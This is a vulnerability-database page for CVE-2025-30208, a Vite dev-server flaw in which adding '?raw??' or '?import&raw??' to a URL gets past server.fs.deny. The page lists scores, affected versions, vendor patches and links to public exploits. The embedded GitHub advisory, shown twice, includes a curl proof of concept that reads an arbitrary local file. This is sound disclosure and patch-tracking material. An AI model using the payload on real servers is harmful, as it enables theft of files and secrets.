CVE-2025-30208
Vite bypasses server.fs.deny when using `?raw??`
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
Vite bypasses server.fs.deny when using `?raw??`
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
- Record
CVE-2025-30208- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-284
- Updated
- 2026-11-02
EUVDEUVD-2025-8079
5.3
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
- Record
EUVD-2025-8079- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x574-m823-4x7w
5.3
Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
- Record
GHSA-x574-m823-4x7w- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-284
- Updated
- 2026-11-02
NVD
5.3
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
- Record
CVE-2025-30208- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-284
- Updated
- 2026-11-02
OSV
5.3
Vite bypasses server.fs.deny when using `?raw??`
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
- Record
CVE-2025-30208- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-284
- Updated
- 2026-11-04
OSVGHSA-x574-m823-4x7w
5.3
Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
- Record
GHSA-x574-m823-4x7w- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-284
- Updated
- 2026-11-02
Show 11 moreShow less
OSVCLSA-2026-1775089661 No score
TuxCare security update for 2 packages (5 CVEs)
TuxCare rebuilt 2 packages to address 5 CVEs. Fixed in 5.4.14-tuxcare.1.
- Record
CLSA-2026-1775089661- Updated
- 2026-11-02
OSVCLSA-2026-1775176118 No score
TuxCare security update for vite (6 CVEs)
TuxCare rebuilt vite to address 6 CVEs. Fixed in 4.5.5-tuxcare.1.
- Record
CLSA-2026-1775176118- Updated
- 2026-11-02
OSVCLSA-2026-1777509608 No score
TuxCare security update for vite (11 CVEs)
TuxCare rebuilt vite to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.
- Record
CLSA-2026-1777509608- Updated
- 2026-11-02
OSVCLSA-2026-1777509610 No score
TuxCare security update for vite (6 CVEs)
TuxCare rebuilt vite to address 6 CVEs. Fixed in 3.2.11-tuxcare.1.
- Record
CLSA-2026-1777509610- Updated
- 2026-11-02
OSVCLSA-2026-1789031855 No score
TuxCare security update for vite (16 CVEs)
TuxCare rebuilt vite to address 16 CVEs. Fixed in 4.1.5-tuxcare.1.
- Record
CLSA-2026-1789031855- Updated
- 2026-11-02
OSVCLSA-2026-1790801785 No score
TuxCare security update for vite (3 CVEs)
TuxCare rebuilt vite to address 3 CVEs. Fixed in 5.0.12-tuxcare.1.
- Record
CLSA-2026-1790801785- Updated
- 2026-11-02
OSVCLSA-2026-1790803771 No score
TuxCare security update for vite (3 CVEs)
TuxCare rebuilt vite to address 3 CVEs. Fixed in 4.5.0-tuxcare.1.
- Record
CLSA-2026-1790803771- Updated
- 2026-11-02
OSVCLSA-2026-1790804788 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 5.4.10-tuxcare.1.
- Record
CLSA-2026-1790804788- Updated
- 2026-11-02
OSVCLSA-2026-1792225950 No score
TuxCare security update for @vitejs/plugin-react (11 CVEs)
TuxCare rebuilt @vitejs/plugin-react to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.
- Record
CLSA-2026-1792225950- Updated
- 2026-11-02
OSVCLSA-2026-1792225952 No score
TuxCare security update for @vitejs/plugin-react (6 CVEs)
TuxCare rebuilt @vitejs/plugin-react to address 6 CVEs. Fixed in 3.2.11-tuxcare.1.
- Record
CLSA-2026-1792225952- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-30208 No score
CVE-2025-30208 in @rootio/vite - Patched by Root
Root has patched CVE-2025-30208 in the @rootio/vite package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-30208- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vitenpm |
6.2.0 up to 6.2.3 | 6.2.3 |
vitenpm |
6.1.0 up to 6.1.2 | 6.1.2 |
vitenpm |
6.0.0 up to 6.0.12 | 6.0.12 |
vitenpm |
5.0.0 up to 5.4.15 | 5.4.15 |
vitenpm |
before 4.5.10 | 4.5.10 |
@vitejs/plugin-legacyTuxCare:npm From an advisory covering 4 CVEs |
5.4.14-tuxcare.0 up to 5.4.14-tuxcare.1, plus listed versions 5.4.14 |
5.4.14-tuxcare.1 |
viteTuxCare:npm From an advisory covering 4 CVEs |
5.4.14-tuxcare.0 up to 5.4.14-tuxcare.1, plus listed versions 5.4.14 |
5.4.14-tuxcare.1 |
viteTuxCare:npm From an advisory covering 6 CVEs |
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.1, plus listed versions 4.5.5 |
4.5.5-tuxcare.1 |
viteTuxCare:npm From an advisory covering 11 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions 2.9.18 |
2.9.18-tuxcare.1 |
viteTuxCare:npm From an advisory covering 6 CVEs |
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.1, plus listed versions 3.2.11 |
3.2.11-tuxcare.1 |
Show 8 moreShow less
| Package | Affected | Fixed |
|---|---|---|
viteTuxCare:npm From an advisory covering 16 CVEs |
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.1, plus listed versions 4.1.5 |
4.1.5-tuxcare.1 |
viteTuxCare:npm From an advisory covering 3 CVEs |
5.0.12-tuxcare.0 up to 5.0.12-tuxcare.1, plus listed versions 5.0.12 |
5.0.12-tuxcare.1 |
viteTuxCare:npm From an advisory covering 3 CVEs |
4.5.0-tuxcare.0 up to 4.5.0-tuxcare.1, plus listed versions 4.5.0 |
4.5.0-tuxcare.1 |
viteTuxCare:npm From an advisory covering 2 CVEs |
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.1, plus listed versions 5.4.10 |
5.4.10-tuxcare.1 |
@vitejs/plugin-reactTuxCare:npm From an advisory covering 11 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions 2.9.18 |
2.9.18-tuxcare.1 |
@vitejs/plugin-reactTuxCare:npm From an advisory covering 6 CVEs |
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.1, plus listed versions 3.2.11 |
3.2.11-tuxcare.1 |
@rootio/viteRoot:npm |
before 2.9.18-root.io.1 | 2.9.18-root.io.12.9.18-root.io.22.9.18-root.io.3 |
viteRoot:npm |
before 2.9.18-aikido.2 | 2.9.18-aikido.22.9.18-aikido.3 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | MiclelsonCN/CVE-2025-30208_POC | 2025-03-26 |
| PoC in GitHub | ThumpBo/CVE-2025-30208-EXP | 2025-03-26 |
| PoC in GitHub | marino-admin/Vite-CVE-2025-30208-Scanner | 2025-03-26 |
| PoC in GitHub | xuemian168/CVE-2025-30208 | 2025-03-26 |
| PoC in GitHub | 4xura/CVE-2025-30208 | 2025-03-27 |
| PoC in GitHub | On1onss/CVE-2025-30208 | 2025-03-27 |
| PoC in GitHub | iSee857/CVE-2025-30208-PoC | 2025-03-27 |
| PoC in GitHub | keklick1337/CVE-2025-30208-ViteVulnScanner | 2025-03-28 |
| PoC in GitHub | sadhfdw129/CVE-2025-30208-Vite | 2025-03-28 |
| PoC in GitHub | jackieya/ViteVulScan | 2025-03-31 |
Show 16 moreShow less
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | 0xshaheen/CVE-2025-30208 | 2025-04-02 |
| PoC in GitHub | sumeet-darekar/CVE-2025-30208 | 2025-04-02 |
| PoC in GitHub | 4m3rr0r/CVE-2025-30208-PoC | 2025-04-03 |
| Exploit-DB | Vite 6.2.2 - Arbitrary File Read | 2025-04-03 |
| PoC in GitHub | lilil3333/Vite-CVE-2025-30208-EXP | 2025-04-05 |
| PoC in GitHub | imbas007/CVE-2025-30208-template | 2025-04-21 |
| PoC in GitHub | r0ngy40/CVE-2025-30208-Series | 2025-04-24 |
| PoC in GitHub | nkuty/CVE-2025-30208-31125-31486-32395 | 2025-05-29 |
| PoC in GitHub | HaGsec/CVE-2025-30208 | 2025-06-06 |
| PoC in GitHub | ThemeHackers/CVE-2025-30208 | 2025-06-27 |
| PoC in GitHub | TH-SecForge/CVE-2025-30208 | 2025-06-29 |
| PoC in GitHub | HazaVVIP/CVE-2025-30208 | 2026-03-04 |
| PoC in GitHub | cc3305/CVE-2025-30208 | 2026-06-16 |
| PoC in GitHub | Minseo9503/cve-2025-30208 | 2026-09-29 |
| PoC in GitHub | L15B04/Exploit-VITE-CVE-2025-30208-CVE-2025-31125 | 2026-10-18 |
| Nuclei | Vite - Arbitrary File Read |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| exploits | ||
| exploits | ||
| first indexed | CVE List, EUVD, Exploit-DB, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30208 is a medium vulnerability (CVSS 5.3) in Vitejs Vite, published March 24, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 74.8%, the 99th percentile. Fixed in vite 6.2.3.
References
github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4
github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c
github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41
github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca
github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1